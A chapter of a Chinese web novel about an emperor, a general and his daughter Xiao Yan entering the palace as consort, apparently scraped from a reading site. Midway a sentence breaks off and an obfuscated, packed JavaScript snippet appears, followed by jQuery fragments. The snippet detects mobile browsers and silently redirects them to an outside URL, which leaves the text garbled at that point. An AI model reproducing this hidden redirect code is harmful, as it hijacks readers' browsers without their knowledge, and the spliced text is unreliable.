27. 第 27 章

作品:《皇上和娘娘的马甲藏不住了

    二十七,是忠贞的贞


    肖国栋总觉得女儿这用词怪怪的。


    不等肖国栋多想,只听凌筝冷笑,“哦?那肖小姐辩解一二,朕来听听。”


    “皇上,臣女对你一见钟情,可臣女那时不知道你就是皇上,所以让爹爹拒了进宫选秀。”


    肖燕大大方方地表达自己对凌筝的喜欢,丝毫没有扭捏。


    突然,肖燕话锋一转,狐疑地问道:“不过,臣女有些好奇,初次相遇,臣女便胆大地对皇上穷追猛打,皇上难道没有查过臣女的身份吗?臣女可是一直都表现得很喜欢皇上呀。”


    皇上明明知道自己喜欢他,还同意爹爹拒绝选秀,帝心难测!


    肖国栋深吸一口气,女儿好一个用词“穷追猛打”,惊得他差点出一身冷汗。但是,女儿一语中的,对啊,皇上这不明摆着是故意的吗?


    “皇上?”肖国栋亦不解地看向凌筝,他不知道皇上意欲何为。


    凌筝挑眉看向肖燕。


    “肖小姐初次见面就如此胆大妄为,朕哪里知道你只是对朕这般,还是对别人也这般?”


    “朕爱惜肖大将军名声,怜惜肖小姐是姑娘家,遂未再追究此事,怎么,反倒成了朕的错?”


    “肖将军,你莫不是忘了自己一把鼻涕一把泪对朕说的话,说不愿女儿入宫,只想女儿幸福,让朕成全你的一片拳拳爱女之心!”


    “朕为了此事,甚至不惜顶撞太后,肖将军,肖爱卿!好得很,现在倒成了朕的不是了?”


    凌筝的语气逐渐染上严厉。


    见凌筝动怒,肖国栋、肖燕赶紧拂身认错:“臣(臣女)不敢。”


    沉默了一瞬,凌筝再开口时语气已是平静无波,“‘一入宫门深似海’,朕亦不觉得进宫是女儿家的好去处。”


    说完这话,凌筝侧眸看向肖国栋。


    听了凌筝说的话,肖国栋沉默。


    很多时候肖国栋都很欣赏凌筝,凌筝说话不拐弯抹角,作为武将,他很喜欢这般坦荡的君主。


    的确,他也觉得进宫不是女儿的好去处。


    “燕儿,之前爹爹替你拒了皇上进宫选秀,如今方知你的意中人竟是皇上,进宫不是儿戏,此事再从长计议吧。”肖国栋叹口气,看着肖燕说道。


    他虽然军功甚高,但也不能因此屡屡顶撞皇上。皇上是君,他是臣,终究是君臣有别。


    肖燕心里一团乱麻,听自己爹爹这么说,也没再反对。


    她万万没有想到,他居然是皇上。且她能感觉到,皇上似乎对她无意。之前想的是用武力先把人抢回家再说,强扭的瓜就算不甜她也要啃上一口。但知道他是皇上后,给她一百个胆子她也再不敢。


    这饭,终究还是吃上了。既然话已至此,大家便都没有必要与饭菜过不去,更何况品香楼的菜肴确实不错。


    肖燕一边吃饭,一边在心里感叹,原来秀色可餐是这般意思,皇上吃饭的模样也甚是优雅好看。


    ……


    当太后知晓肖燕中意的人是皇上后,心情复杂起来,她问刘嬷嬷,“阿叶,先不论肖国栋一会儿不愿女儿入宫一会儿要入宫的胡闹,就那肖燕对筝儿的心思,哀家该让肖燕入宫吗?”


    兰芝是前车之鉴,比之兰芝,肖燕只会更麻烦。


    刘嬷嬷叹气道:“太后娘娘把此事交给皇上自己处理吧,想来历经了兰才人一事,皇上再不会大意。”


    肖国栋已然功高盖主,肖家女最好的处置方式便是入宫为妃,刘嬷嬷知道太后心里比谁都清楚。


    ……


    待肖国栋把入宫为妃的各种弊端都告诉肖燕后,肖燕最终还是选择入宫,肖国栋只得叹气。


    肖国栋不是没想过,女儿只见了皇上一面就一副非君不嫁的态度,大概率是见色起意,若他能帮女儿寻个更好看的郎君,女儿就不一定愿意进宫了。


    肖国栋的副将李明东听着肖国栋的推理,点头道:“将军说得没错。”他话锋一转,问道:“问题是,咱们去哪里找比皇上更俊秀的郎君?”


    他万不敢说,就连上雅轩的头牌小倌红玉公子也比不过皇上的模样,放眼整个大夏国,他们能去哪里寻比皇上更好看的郎君?


    肖国栋:“……”问得好,他也不知道。


    对于肖燕反悔想要入宫一事,凌筝不恼也不应允,却是肖国栋步步妥协。


    凌筝让肖国栋上交一半的兵权,且直言自己对后宫嫔妃一视同仁。


    将军府内,肖国栋把肖燕叫进书房,对肖燕说道:“燕儿,你可看到了,他是皇上,绝不会耽于情爱,万不可能与你情意缠绵,更不可能与你一生一世一双人。”


    肖燕并非不懂事,她落寞地对肖国栋说道:“爹爹,当知道他是皇上的时候,我便知道,且做好心里准备,他不会独宠我一人。但是让爹爹上交一半的兵权,女儿不能这么自私。”


    肖国栋叹气,“爹爹已经功高盖主,上交一半的兵权,未尝不是好事。”


    肖国栋自己想得很清楚,若是女儿不入宫,中意的公子家世颇好,他也会用兵权去求皇上赐婚。或早或晚,这兵权都要交回给皇上。鱼和熊掌不可兼得,他不能既要又要。虽然当今圣上是明君,但是出了兰才人一事后,他亦怕有心之人拿肖家当垫脚石。兰家一事,若非兰大人确实才华出众,且从始至终拥护皇上,换一个人,未必能得善终。所以,此时皇上在明面上寻了理由削他的兵权,于他来说是好事。


    “你爹要当皇上的岳丈,可不得付出点代价。”肖国栋开肖燕的玩笑。


    “你不用担心爹爹,爹爹只是怕你会委屈。”


    “爹爹,”肖燕的声音里有了些许哽咽,“是女儿没用,喜欢上皇上。若不然,”


    “若不然女儿不嫁人,就在家陪着爹爹可好。”


    肖燕倒也不是突然兴起说的这话,她确实这般想过。她自始至终都知道,以她的爹爹在军中的威望,她不可能轻易嫁人,最好的结婚对象只有皇上,所以当初她便想,如果不能选一个心仪的人结婚,那她倒不如谁也不嫁,这辈子就陪着爹爹。


    谁曾想,会遇到惊鸿一瞥之人。


    谁又曾想,那人居然会是皇上。


    反正,就挺戏剧。之前是想方设法不愿入宫,想在是想方设法想要入宫,三十年河东三十年河西,这风水轮流转得实在太快。


    肖国栋伪装生气,伸出手指戳肖燕额头,“傻丫头,说什么胡话呢。不过,”


    “我女儿的眼光就是好,一眼相中的就是大夏国最优秀的少年郎,论才华、论样貌、论家室,谁比得过当今皇上!”


    肖燕:“……”她爹这番夸奖,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15473166|168261||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    她竟无言反驳。


    ……


    天色渐暗,凌筝依旧在御书房批奏折。终于,在临掌灯之际,她批阅完了今日的奏折。


    伸出手揉按额头,凌筝疲惫地问喜财,“肖燕的封号,太后定好了吗?”


    喜财躬身回答:“回禀皇上,太后说按照皇上心意便可,她都没有意见。”


    凌筝沉默,半晌后点头,“也罢,朕再思量一番吧。”


    望向刚点燃的烛灯,凌筝似是自语一般道:“肖大将军倒是疼女儿得紧。”


    凌筝能看出来,肖国栋是真心疼爱肖燕。


    当初平定外患,凌筝选择疑人不用用人不疑,全权将兵权放任给肖国栋,亦成就了现在令敌国闻风丧胆的肖家军。如今外患暂平,凌筝作为一国之君,既担心肖国栋手握兵权、功高盖主,又委实不愿做出过河拆桥令保家卫国的将军心寒之事。于肖国栋,她一向都是格外优待的。


    近年,屡屡有大臣弹劾肖国栋藐视皇恩,轻慢她这个皇上,都被她压了下去。


    如今,她收回肖国栋一半兵权,明目张胆地将手伸进肖家军。普天之下莫非王土,肖国栋如果忠诚,兵权交还皇上是理所当然的事情,且凌筝并不会干涉他治下。若是肖国栋并无二心,凌筝的“削权”对他影响并不大。


    “那便封肖大将军的女儿为贞妃吧。”凌筝看向喜财说道。


    喜财愣住,他是该应和呢还是该应和呢?


    “珍之重之,表达了皇上对珍妃娘娘和肖大将军的看重,甚好。”喜财狗腿道。


    凌筝微微蹙眉,“是忠贞的贞。”


    喜财愣住,“……”他想得少,话却不小心多了些,下次一定注意。


    “珍”和“贞”,读音相同字却不同,含意亦大相径庭得耐人寻味。


    “你觉得贞妃适合住在哪个宫殿?”凌筝问喜财,她看着喜财,又像是透过喜财在看向他的身后。


    喜财的身后是烛灯影绰的阴暗。不知道为何,宫里的人越进越多,凌筝却越发觉得连个能说话的人都没有。


    听到皇上的问话,喜财惊得险些跪下,今儿不知道他是哪里入(碍)了皇上的眼。皇上问的问题,他哪里敢作答。


    “皇上折煞奴才,奴才哪里敢定夺主子的事情。”


    见喜财额头上冒出冷汗,面上的紧张不似作假,凌筝的眉越蹙越紧,喜财哪里都好,就是太过胆小。


    她一向仁善,喜财至于吓成这样吗?


    凌筝不悦道:“朕问你,你就回答,答错了朕也不会怪罪你,何况,你的回答,朕亦只是参考,并非会采纳。”


    喜财:“……”他不信。


    前些日子,皇上罚他干的杂活还少吗,他又不属鱼,转眼就忘。


    见喜财一副唯唯诺诺的模样,迟迟不作答,凌筝有些不耐烦,摆手道:“你出去吧。”看得她心烦。


    这宫里,各宫主子都有心腹,太后有刘嬷嬷,兰芝有桃红,唯独她精挑细选的喜财,更像是吉祥物。


    也罢,傻人有傻福。


    凌筝望向窗外,心想,肖国栋现下树大招风,难免不会被肖想皇权的有心之人利用,若是肖国栋“被”出事,收回一半兵权后她便能明目张胆的护他。


    若肖国栋真的有了二心,即便再可惜,肖家军也只能瓦解。